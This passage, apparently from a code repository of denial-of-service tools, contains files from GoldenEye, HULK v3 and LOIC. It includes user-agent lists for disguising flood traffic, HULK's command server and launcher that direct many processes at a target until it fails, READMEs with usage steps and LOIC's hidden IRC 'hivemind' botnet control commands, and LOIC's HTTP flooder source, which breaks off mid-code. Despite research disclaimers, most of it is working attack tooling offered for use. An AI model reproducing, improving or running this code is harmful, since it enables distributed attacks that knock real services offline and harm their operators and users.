Mobile/10B141 AIRMobileSecureBrowser/1.0 17 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 18 | Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10A523 19 | Mozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 20 | Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5 21 | -------------------------------------------------------------------------------- /Linux/GoldenEye/res/lists/useragents/iphone.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16 2 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B143 Safari/8536.25 3 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B142 Safari/8536.25 4 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25 5 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5 6 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7 7 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B144 Safari/8536.25 8 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3 9 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A551 Safari/8536.25 10 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3 11 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X; en-us) AppleWebKit/536.26 (KHTML, like Gecko) CriOS/23.0.1271.100 Mobile/10B143 Safari/8536.25 12 | Mozilla/5.0 (iPad; CPU iPhone OS 501 like Mac OS X) AppleWebKit/534.46 (KHTML like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 13 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3 14 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B141 Safari/8536.25 15 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25 16 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_0 like Mac OS X; en) AppleWebKit/528.18 (KHTML, like Gecko) Version/5.1 Mobile/7A341 Safari/528.16 17 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mercury/7.2 Mobile/10A523 Safari/8536.25 18 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B179 Safari/7534.48.3 19 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 20 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8F190 21 | -------------------------------------------------------------------------------- /Linux/GoldenEye/res/lists/useragents/linkcheckers.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html) 2 | Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com) 3 | Link Valet Online 1.1 4 | Link Validity Check From: http://www.w3dir.com/cgi-bin (Using: Hot Links SQL by Mrcgiguy.com) 5 | LinkExaminer/1.01 (Windows) 6 | Mozilla/5.0 (compatible; LinksManager.com_bot http://linksmanager.com/linkchecker.html) 7 | Mozilla/5.0 (compatible; LinksManager.com_bot +http://linksmanager.com/linkchecker.html) 8 | Mojoo Robot (http://www.mojoo.com/) 9 | Notifixious/LinkChecker (http://notifixio.us) 10 | online link validator (http://www.dead-links.com/) 11 | Ploetz + Zeller (http://www.ploetz-zeller.de) Link Validator v1.0 (support@p-und-z.de) for ARIS Business Architect 12 | InfoWizards Reciprocal Link System PRO - (http://www.infowizards.com) 13 | REL Link Checker Lite 1.0 14 | SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/) 15 | SiteBar/3.3.5 (Bookmark Server; http://sitebar.org/) 16 | Vivante Link Checker (http://www.vivante.com) 17 | W3C-checklink/4.5 [4.160] libwww-perl/5.823 18 | W3C-checklink/4.5 [4.154] libwww-perl/5.823 19 | W3C-checklink/4.3 [4.42] libwww-perl/5.820 20 | W3C-checklink/4.3 [4.42] libwww-perl/5.808 21 | W3C-checklink/4.3 [4.42] libwww-perl/5.805 22 | W3C-checklink/4.2.1 [4.21] libwww-perl/5.803 23 | W3C-checklink/4.2 [4.20] libwww-perl/5.803 24 | W3C-checklink/3.6.2.3 libwww-perl/5.64 25 | W3C-checklink/2.90 libwww-perl/5.64 26 | Xenu Link Sleuth 1.2i 27 | Xenu Link Sleuth 1.2h 28 | Xenu Link Sleuth 1.2g 29 | Xenu Link Sleuth 1.2f 30 | Xenu Link Sleuth 1.2e 31 | Xenu Link Sleuth 1.2d 32 | Xenu Link Sleuth 1.2c 33 | Xenu Link Sleuth 1.2b 34 | Xenu Link Sleuth/1.3.7 35 | -------------------------------------------------------------------------------- /Linux/GoldenEye/res/lists/useragents/others.txt: -------------------------------------------------------------------------------- 1 | !Susie (http://www.sync2it.com/susie) 2 | amaya/11.3.1 libwww/5.4.1 3 | amaya/11.2 libwww/5.4.0 4 | amaya/11.1 libwww/5.4.0 5 | amaya/10.1 libwww/5.4.0 6 | amaya/10 libwww/5.4.0 7 | amaya/9.55 libwww/5.4.0 8 | amaya/9.54 libwww/5.4.0 9 | amaya/9.52 libwww/5.4.0 10 | amaya/9.51 libwww/5.4.0 11 | amaya/8.8.5 libwww/5.4.0 12 | amaya/11.2 amaya/5.4.0 13 | amaya/11.1 amaya/5.4.0 14 | Cocoal.icio.us/1.0 (v43) (Mac OS X; http://www.scifihifi.com/cocoalicious) 15 | Cocoal.icio.us/1.0 (v40) (Mac OS X; http://www.scifihifi.com/cocoalicious) 16 | Cocoal.icio.us/1.0 (v38) (Mac OS X; http://www.scifihifi.com/cocoalicious) 17 | DomainsDB.net MetaCrawler v.0.9.7c (http://domainsdb.net/) 18 | GSiteCrawler/v1.20 rev. 273 (http://gsitecrawler.com/) 19 | GSiteCrawler/v1.12 rev. 260 (http://gsitecrawler.com/) 20 | GSiteCrawler/v1.06 rev. 251 (http://gsitecrawler.com/) 21 | iTunes/9.1.1 22 | iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca) 23 | iTunes/9.0.3 24 | iTunes/9.0.2 (Windows; N) 25 | itunes/9.0.2 (Macintosh; Intel Mac OS X 10.4.11) AppleWebKit/531.21.8 26 | iTunes/9.0 (Macintosh; Intel Mac OS X 10.5.8) AppleWebKit/531.9 27 | iTunes/9.0 (Macintosh; Intel Mac OS X 10.5.8) 28 | iTunes/9.0 29 | iTunes/8.2 (Macintosh; U; PPC Mac OS X 10_5_6) 30 | iTunes/8.1.1 (Windows; U) 31 | iTunes/8.1.1 (Windows; N) 32 | iTunes/8.1 33 | iTunes/8.0 34 | iTunes/7.6.2.9 35 | iTunes/7.5 (Macintosh; N; PPC) 36 | iTunes/7.4.1 37 | iTunes/7.1.1 (Macintosh; N; PPC) 38 | iTunes/7.0.1 (Windows; N) 39 | iTunes/7.0 (Macintosh; U; PPC Mac OS X 10.4.7) 40 | iTunes/4.8 (Macintosh; U; PPC Mac OS X 10.4.1) 41 | iTunes/4.7 (Macintosh; U; PPC Mac OS X 10.2) 42 | iTunes/4.7 (Macintosh; N; PPC) 43 | iTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2) 44 | iTunes/4.0 (Macintosh; U; PPC Mac OS X 10.2) 45 | lftp/4.3.8 46 | lftp/4.3.5 47 | MetaURI API/2.0 metauri.com 48 | Nitro PDF Download 49 | Snoopy v1.2 50 | URD-MAGPIE/0.73 (Cached) 51 | Mozilla/4.0 (compatible; WebCapture 3.0; Windows) 52 | Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh) 53 | Mozilla/3.0 (compatible; WebCapture 2.0; Windows) 54 | Mozilla/3.0 (compatible; WebCapture 1.0; Windows) 55 | Windows-Media-Player/11.0.5721.5145 56 | Windows-Media-Player/10.00.00.xxxx 57 | Windows-Media-Player/10.00.00.4036 58 | Windows-Media-Player/10.00.00.3646 59 | Windows-Media-Player/9.00.00.4503 60 | Windows-Media-Player/9.00.00.3250 61 | -------------------------------------------------------------------------------- /Linux/GoldenEye/res/lists/useragents/validators.txt: -------------------------------------------------------------------------------- 1 | CSE HTML Validator Lite Online (http://online.htmlvalidator.com/php/onlinevallite.php) 2 | CSSCheck/1.2.2 3 | Cynthia 1.0 4 | HTMLParser/1.6 5 | P3P Validator 6 | Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0 7 | W3C_Validator/1.654 8 | W3C_Validator/1.606 9 | W3C_Validator/1.591 10 | W3C_Validator/1.575 11 | W3C_Validator/1.555 12 | W3C_Validator/1.432.2.5 13 | W3C_Validator/1.432.2.22 14 | W3C_Validator/1.432.2.19 15 | W3C_Validator/1.432.2.10 16 | W3C_Validator/1.305.2.12 libwww-perl/5.64 17 | WDG_Validator/1.6.2 18 | -------------------------------------------------------------------------------- /Linux/GoldenEye/util/getuas.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import urllib, sys 4 | from bs4 import BeautifulSoup 5 | 6 | if len(sys.argv) <= 1: 7 | print "No URL specified. Please supply a valid http://www.useragentstring.com/ UA list URL" 8 | sys.exit(1) 9 | 10 | 11 | ua_url = sys.argv[1] 12 | 13 | f = urllib.urlopen(ua_url) 14 | 15 | html_doc = f.read() 16 | 17 | soup = BeautifulSoup(html_doc) 18 | 19 | liste = soup.find(id='liste') 20 | 21 | uas = liste.find_all('li') 22 | 23 | if len(uas) <= 0: 24 | print "No UAs Found. Are you on http://www.useragentstring.com/ lists?" 25 | sys.exit(1) 26 | 27 | 28 | for ua in uas: 29 | ua_string = ua.get_text() 30 | ua_string = ua_string.strip(' \t\n\r') 31 | print ua_string 32 | -------------------------------------------------------------------------------- /Linux/HULK/CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. 6 | 7 | ## Our Standards 8 | 9 | Examples of behavior that contributes to creating a positive environment include: 10 | 11 | * Using welcoming and inclusive language 12 | * Being respectful of differing viewpoints and experiences 13 | * Gracefully accepting constructive criticism 14 | * Focusing on what is best for the community 15 | * Showing empathy towards other community members 16 | 17 | Examples of unacceptable behavior by participants include: 18 | 19 | * The use of sexualized language or imagery and unwelcome sexual attention or advances 20 | * Trolling, insulting/derogatory comments, and personal or political attacks 21 | * Public or private harassment 22 | * Publishing others' private information, such as a physical or electronic address, without explicit permission 23 | * Other conduct which could reasonably be considered inappropriate in a professional setting 24 | 25 | ## Our Responsibilities 26 | 27 | Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. 28 | 29 | Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. 30 | 31 | ## Scope 32 | 33 | This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. 34 | 35 | ## Enforcement 36 | 37 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at harshith.thota7@gmail.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. 38 | 39 | Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. 40 | 41 | ## Attribution 42 | 43 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] 44 | 45 | [homepage]: http://contributor-covenant.org 46 | [version]: http://contributor-covenant.org/version/1/4/ 47 | -------------------------------------------------------------------------------- /Linux/HULK/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Guidelines for Contributing 2 | 3 | ## Edit Types 4 | Code Improvements like Optimisation, Formatting, etc. 5 | New Enhancements 6 | Issue Corrections 7 | Ideas 8 | Documentation Support 9 | 10 | ## Rules 11 | At least one review by a contributer assigned by Hyperclaw79. 12 | Clone an up to date Master before making edits. 13 | Pull Request on Edits only. 14 | No force pushes. 15 | On usage of third party modules, edit the requirements.txt too. 16 | Comment over the changes. 17 | 18 | ## Tips 19 | Use the cards in Project tab to mark progress. 20 | Try working on the Open Issues as that will have higher priority. 21 | Open an issue when you find a new one. 22 | Use Squash for multiple commits. 23 | Use proper commit titles. 24 | -------------------------------------------------------------------------------- /Linux/HULK/README.md: -------------------------------------------------------------------------------- 1 | # Async Hulk - HTTPS Unbearable Load King - HULK v3 2 | ----------------------------------------------------------------------------------------------- 3 | ![Python Version](https://img.shields.io/badge/python-3.6%20%7C%203.7-blue?style=for-the-badge) 4 | ![License](https://img.shields.io/badge/License-GNU-green?style=for-the-badge) 5 | ![Platform](https://img.shields.io/badge/platform-Windows--10-lightgrey?style=for-the-badge) 6 | ![Codacy grade](https://img.shields.io/codacy/grade/a5939f58e4c44daebfbe46937686050b?style=for-the-badge) 7 | 8 | ## Introduction 9 | 10 | > This script is a *Distributed Denial of Service* tool that can put heavy load on HTTPS servers, 11 | > in order to bring them to their knees, by exhausting the resource pool. 12 | > Its is meant for research purposes only and any malicious usage of this tool is prohibited. 13 | > **The authors aren't to be held responsible for any consequence of usage of this tool.** 14 | 15 | Authors : **Hyperclaw79**, *version 3.0, 2.0*; **Barry Shteiman** , *version 1.0* 16 | 17 | ## Usage 18 | 19 | 1. Run `pip install -r requirements.txt` before starting this script. 20 | 21 | 2. Launch the `hulk-server.py` with the target website as arg. 22 | 23 | > `python hulk-server.py https://testdummysite.com` 24 | 25 | 3. Launch the `hulk-launcher.py` to spawn multiple processes of hulk - one per CPU Core. 26 | > `python hulk-launcher.py localhost` 27 | > If it's a bot on a remote client, replace localhost with the server's IP. 28 | 29 | 4. Sit back and sip your coffee while the carnage unleashes! >:D 30 | ------------------------------------------------------------------------------------------------- 31 | 32 | ## License 33 | 34 | HULK v3 is a Python 3 compatible Asynchronous Distributed Denial of Service Script. 35 | [Original script](http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/) was created by Barry Shteiman. 36 | You can use that one if you have Python 2. 37 | 38 | Using a GNU license cause there was no mention about any license used by Barry. 39 | Feel free to modify and share it, but leave some credits to us both and don't hold us liable. 40 | -------------------------------------------------------------------------------- /Linux/HULK/__pycache__/boom.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/HULK/__pycache__/boom.cpython-37.pyc -------------------------------------------------------------------------------- /Linux/HULK/hulk-launcher.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import subprocess 4 | 5 | cores = os.cpu_count() 6 | python = 'python3' 7 | flag = 0 8 | if sys.platform.startswith('win'): 9 | python = "python" 10 | flag = subprocess.CREATE_NEW_CONSOLE 11 | root_ip = "localhost" 12 | if len(sys.argv) > 1: 13 | root_ip = sys.argv[1] 14 | processes = [ 15 | subprocess.Popen( 16 | [python, 'hulk.py' , root_ip], 17 | creationflags=flag 18 | ) 19 | for i in range(cores) 20 | ] 21 | -------------------------------------------------------------------------------- /Linux/HULK/hulk-server.py: -------------------------------------------------------------------------------- 1 | import queue 2 | import re 3 | import select 4 | import socket 5 | import sys 6 | 7 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | server.setblocking(0) 9 | server.bind(('', 666)) 10 | server.listen(100) # Max Number of Missiles available. 11 | 12 | inputs = [server] 13 | outputs = [] 14 | message_queues = {} 15 | completed = False 16 | 17 | print("Hulk Server is Live!") 18 | while inputs: 19 | readable, writable, exceptional = select.select( 20 | inputs, outputs, inputs) 21 | for elem in readable: 22 | if elem is server: 23 | connection, addr = elem.accept() 24 | ip, port = addr 25 | missile = socket.gethostbyaddr(ip)[0] 26 | print(f"Established connection with Missile {missile}:{port}.") 27 | connection.setblocking(0) 28 | inputs.append(connection) 29 | message_queues[connection] = queue.Queue() 30 | else: 31 | try: 32 | data = elem.recv(1024).decode() 33 | ip, port = elem.getpeername() 34 | missile = socket.gethostbyaddr(ip)[0] 35 | print(f"[{missile}:{port}]", data) 36 | m = re.search("\[{1}(.*)\]{1}", data) 37 | if completed: 38 | print(f"Sending Stop signal to [{missile}:{port}].") 39 | message_queues[elem].put("STOP") 40 | elif m: 41 | status_list = m.group(1).split(',') 42 | if all([ 43 | int(status) < 500 44 | for status in status_list 45 | ]): 46 | message_queues[elem].put(sys.argv[1]) 47 | else: 48 | completed = True 49 | print(f"Sending Stop signal to [{missile}:{port}].") 50 | message_queues[elem].put("STOP") 51 | elif data.lower() == "disconnecting": 52 | print(f"Disconnected from [{missile}:{port}].") 53 | del message_queues[elem] 54 | if elem in outputs: 55 | outputs.remove(elem) 56 | if elem in inputs: 57 | inputs.remove(elem) 58 | elem.close() 59 | continue 60 | else: 61 | message_queues[elem].put(sys.argv[1]) 62 | if elem not in outputs: 63 | outputs.append(elem) 64 | except Exception as e: 65 | if elem in outputs: 66 | outputs.remove(elem) 67 | inputs.remove(elem) 68 | elem.close() 69 | del message_queues[elem] 70 | 71 | for elem in writable: 72 | try: 73 | ip, port = elem.getpeername() 74 | missile = socket.gethostbyaddr(ip)[0] 75 | next_msg = message_queues[elem].get_nowait() 76 | except: 77 | if elem in outputs: 78 | outputs.remove(elem) 79 | else: 80 | try: 81 | elem.send(next_msg.encode()) 82 | print(f"Attached target [{next_msg}] to [{missile}:{port}].") 83 | except: 84 | outputs.remove(elem) 85 | 86 | for elem in exceptional: 87 | inputs.remove(elem) 88 | if elem in outputs: 89 | outputs.remove(elem) 90 | elem.close() 91 | del message_queues[elem] 92 | print(f"Succesfully DDoSed {sys.argv[1]}!") 93 | -------------------------------------------------------------------------------- /Linux/HULK/requirements.txt: -------------------------------------------------------------------------------- 1 | aiohttp>=3.5.4 2 | -------------------------------------------------------------------------------- /Linux/LOIC/README.txt: -------------------------------------------------------------------------------- 1 | ## LOIC by NewEraCracker (https://github.com/NewEraCracker/LOIC/) 2 | ## Modified by Mr. SAGE (linktr.ee/thehackigsage) 3 | 4 | ## INFO 5 | 6 | Low Orbit Ion Cannon - An open source network stress tool, written in C#. 7 | Based on Praetox's LOIC project at https://sourceforge.net/projects/loic/ 8 | 9 | ## DISCLAIMER 10 | 11 | This tool is released for educational purposes only, with the intent of helping server owners develop a "Hacker Defense" attitude. This tool comes without any warranty at all. 12 | 13 | **You may not use this software for any illegal or unethical purpose; including activities which would give rise to criminal or civil liability.** 14 | 15 | **Under no event shall the Licensor be responsible for the activities, or any misdeeds, conducted by the Licensee.** 16 | 17 | ## HOW TO RUN ON WINDOWS 18 | 19 | GET THE BINARIES! 20 | 21 | Requires Microsoft .NET Framework 3.5 Service Pack 1, available at: 22 | http://www.microsoft.com/downloads/en/details.aspx?FamilyID=ab99342f-5d1a-413d-8319-81da479ab0d7&displaylang=en 23 | 24 | ## HOW TO RUN ON LINUX / MACOSX 25 | 26 | Run debug binaries with mono. 27 | 28 | Download LOIC (with windows binaries) from download page and extract in desktop. 29 | 30 | Download mono from: https://web.archive.org/web/20170103060539/http://www.go-mono.com/mono-downloads/download.html 31 | 32 | Install mono. 33 | 34 | Open terminal and type 35 | 36 | mono /path_to_loic/debug/LOIC.exe 37 | 38 | LOIC should open (check tray too) 39 | 40 | ## HIVEMIND/HIDDEN MODE 41 | 42 | HIVEMIND mode will connect your client to an IRC server so it can be controlled remotely. 43 | Think of this as a voluntary botnet (though do beware that your client can potentially be 44 | made to do naughty things). 45 | 46 | Note: It does NOT allow remote administration of your machine, or anything like that; it 47 | is literally just control of loic itself. 48 | 49 | If you want to start up in Hivemind mode, run something like this: 50 | ``` 51 | LOIC.exe /hivemind irc.server.address 52 | ``` 53 | It will connect to irc://irc.server.adress:6667/loic 54 | 55 | You can also specify a port and channel: 56 | ``` 57 | LOIC.exe /hivemind irc.server.address 1234 #secret 58 | ``` 59 | It will connect to irc://irc.server.adress:1234/secret 60 | 61 | In order to do Hivemind Hidden mode, run something like this: 62 | ``` 63 | LOIC.exe /hidden /hivemind irc.server.address 64 | ``` 65 | It will connect to irc://irc.server.adress:6667/loic without any visible GUI. 66 | 67 | ## CONTROLLING LOIC FROM IRC 68 | 69 | As an OP, Admin or Owner, set the channel topic or send a message like the following: 70 | ``` 71 | !lazor targetip=127.0.0.1 message=test_test port=80 method=tcp wait=false random=true 72 | ``` 73 | 74 | To start an attack, type: 75 | ``` 76 | !lazor start 77 | ``` 78 | 79 | Or just append "start" to the END of the topic: 80 | ``` 81 | !lazor targetip=127.0.0.1 message=test_test port=80 method=tcp wait=false random=true start 82 | ``` 83 | 84 | To reset loic's options back to its defaults: 85 | ``` 86 | !lazor default 87 | ``` 88 | 89 | To stop an attack: 90 | ``` 91 | !lazor stop 92 | ``` 93 | 94 | and be sure to remove "start" from the END of the topic, if it exists, too. 95 | -------------------------------------------------------------------------------- /Linux/LOIC/loic.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Modified by Mr. SAGE (@thehackingsage) 3 | # 4 | # This Script Installs, Updates and Runs LOIC on Linux. 5 | # 6 | # Supported distributions: 7 | # * Ubuntu 8 | # * Debian 9 | # * Fedora 10 | # 11 | # Usage: bash ubuntu_loic.bash 12 | # 13 | 14 | GIT_REPO=https://github.com/thehackingsage/DDoS/ 15 | GIT_BRANCH=master 16 | 17 | DEB_MONO_PKG="monodevelop liblog4net-cil-dev mono-devel" 18 | FED_MONO_PKG="mono-basic mono-devel monodevelop mono-tools" 19 | 20 | lower() { 21 | tr '[A-Z]' '[a-z]' 22 | } 23 | 24 | what_distro() { 25 | # if which lsb_release ; then 26 | # echo lsb_release -si | lower 27 | # el 28 | if grep -qri ubuntu /etc/*-release ; then 29 | echo "ubuntu" 30 | elif [[ -e /etc/fedora-release ]] ; then 31 | echo "fedora" 32 | else 33 | # Assume Debian-based 34 | echo "debian" 35 | fi 36 | } 37 | 38 | DISTRO=$(what_distro) 39 | 40 | ensure_git() { 41 | if ! which git ; then 42 | if [[ $DISTRO = 'ubuntu' || $DISTRO = 'debian' ]] ; then 43 | sudo apt-get install git 44 | elif [[ $DISTRO = 'fedora' ]] ; then 45 | sudo yum install git 46 | fi 47 | fi 48 | } 49 | 50 | is_loic() { 51 | is_loic_git || { [[ -d LOIC ]] && cd LOIC && is_loic_git; } 52 | } 53 | 54 | is_loic_git() { 55 | [[ -d .git ]] && grep -q LOIC .git/config 56 | } 57 | 58 | get_loic() { 59 | ensure_git 60 | if ! is_loic ; then 61 | git clone $GIT_REPO -b $GIT_BRANCH 62 | fi 63 | } 64 | 65 | compile_loic() { 66 | get_loic 67 | if ! is_loic ; then 68 | echo "Error: You are not in a LOIC repository." 69 | exit 1 70 | fi 71 | if [[ $DISTRO = 'ubuntu' || $DISTRO = 'debian' ]] ; then 72 | sudo apt-get install $DEB_MONO_PKG 73 | elif [[ $DISTRO = 'fedora' ]] ; then 74 | sudo yum install $FED_MONO_PKG 75 | fi 76 | cd src; xbuild /p:TargetFrameworkVersion="v4.0" 77 | } 78 | 79 | run_loic() { 80 | is_loic 81 | if [[ ! -e src/bin/Debug/LOIC.exe ]] ; then 82 | compile_loic 83 | fi 84 | if ! which mono ; then 85 | if [[ $DISTRO = 'ubuntu' || $DISTRO = 'debian' ]] ; then 86 | sudo apt-get install mono-runtime 87 | elif [[ $DISTRO = 'fedora' ]] ; then 88 | sudo yum install mono-runtime 89 | fi 90 | fi 91 | mono src/bin/Debug/LOIC.exe 92 | } 93 | 94 | update_loic() { 95 | ensure_git 96 | if is_loic ; then 97 | git pull --rebase 98 | compile_loic 99 | else 100 | echo "Error: You are not in a LOIC repository." 101 | fi 102 | } 103 | 104 | case $1 in 105 | install) 106 | compile_loic 107 | ;; 108 | update) 109 | update_loic 110 | ;; 111 | run) 112 | run_loic 113 | ;; 114 | *) 115 | echo "Usage: $0 " 116 | ;; 117 | esac 118 | -------------------------------------------------------------------------------- /Linux/LOIC/src/Functions.cs: -------------------------------------------------------------------------------- 1 | /* LOIC - Low Orbit Ion Cannon 2 | * Released to the public domain 3 | * Enjoy getting v&, kids. 4 | */ 5 | 6 | using System; 7 | using System.Text; 8 | 9 | namespace LOIC 10 | { 11 | public static class Functions 12 | { 13 | private static readonly Random rnd = new Random(Guid.NewGuid().GetHashCode()); 14 | private static readonly String[] ntv = { "6.0", "6.1", "6.2", "6.3", "10.0" }; 15 | 16 | public static string RandomString(int length = 6) 17 | { 18 | lock (rnd) 19 | { 20 | StringBuilder builder = new StringBuilder(); 21 | 22 | char ch; 23 | for (int i = 0; i < length; i++) 24 | { 25 | ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * rnd.NextDouble() + 65))); 26 | builder.Append(ch); 27 | } 28 | return builder.ToString(); 29 | } 30 | } 31 | 32 | public static int RandomInt(int min, int max) 33 | { 34 | lock (rnd) 35 | { 36 | return rnd.Next(min, max); 37 | } 38 | } 39 | 40 | public static string RandomUserAgent() 41 | { 42 | lock (rnd) 43 | { 44 | if (rnd.NextDouble() >= 0.5) 45 | { 46 | return String.Format("Mozilla/5.0 (Windows NT {0}; WOW64; rv:{1}.0) Gecko/20100101 Firefox/{1}.0", ntv[rnd.Next(ntv.Length)], rnd.Next(36, 47)); 47 | } 48 | else 49 | { 50 | return String.Format("Mozilla/5.0 (Windows NT {0}; rv:{1}.0) Gecko/20100101 Firefox/{1}.0", ntv[rnd.Next(ntv.Length)], rnd.Next(36, 47)); 51 | } 52 | } 53 | } 54 | 55 | public static object RandomElement(object[] array) 56 | { 57 | if(array == null || array.Length < 1) 58 | return null; 59 | 60 | if(array.Length == 1) 61 | return array[0]; 62 | 63 | lock (rnd) 64 | { 65 | return array[rnd.Next(array.Length)]; 66 | } 67 | } 68 | 69 | public static byte[] RandomHttpHeader(string method, string subsite, string host, bool subsite_random = false, bool gzip = false, int keep_alive = 0) 70 | { 71 | return Encoding.ASCII.GetBytes(String.Format("{0} {1}{2} HTTP/1.1{7}Host: {3}{7}User-Agent: {4}{7}Accept: */*{7}{5}{6}{7}", method, subsite, (subsite_random ? RandomString() : ""), host, RandomUserAgent(), (gzip ? "Accept-Encoding: gzip, deflate\r\n" : ""), (keep_alive > 0 ? String.Format("Keep-Alive: {0}\r\nConnection: keep-alive\r\n", keep_alive) : ""), "\r\n")); 72 | } 73 | 74 | public static bool ParseInt(string str, int min, int max, out int value) 75 | { 76 | bool res = int.TryParse(str, out value); 77 | 78 | if (res && value >= min && value <= max) 79 | return true; 80 | 81 | return false; 82 | } 83 | } 84 | } -------------------------------------------------------------------------------- /Linux/LOIC/src/HTTPFlooder.cs: -------------------------------------------------------------------------------- 1 | /* LOIC - Low Orbit Ion Cannon 2 | * Released to the public domain 3 | * Enjoy getting v&, kids. 4 | */ 5 | 6 | using System; 7 | using System.ComponentModel; 8 | using System.Net; 9 | using System.Net.Sockets; 10 | using System.Windows.Forms; 11 | 12 | namespace LOIC 13 | { 14 | public class HTTPFlooder : cHLDos 15 | { 16 | private BackgroundWorker bw; 17 | private Timer tTimepoll; 18 | private bool intShowStats; 19 | private long lastAction; 20 | 21 | private readonly string Host; 22 | private readonly string IP; 23 | private readonly int Port; 24 | private readonly string Subsite; 25 | private readonly bool Resp; 26 | private readonly bool Random; 27 | private readonly bool UseGet; 28 | private readonly bool AllowGzip; 29 | 30 | public HTTPFlooder(string host, string ip, int port, string subSite, bool resp, int delay, int 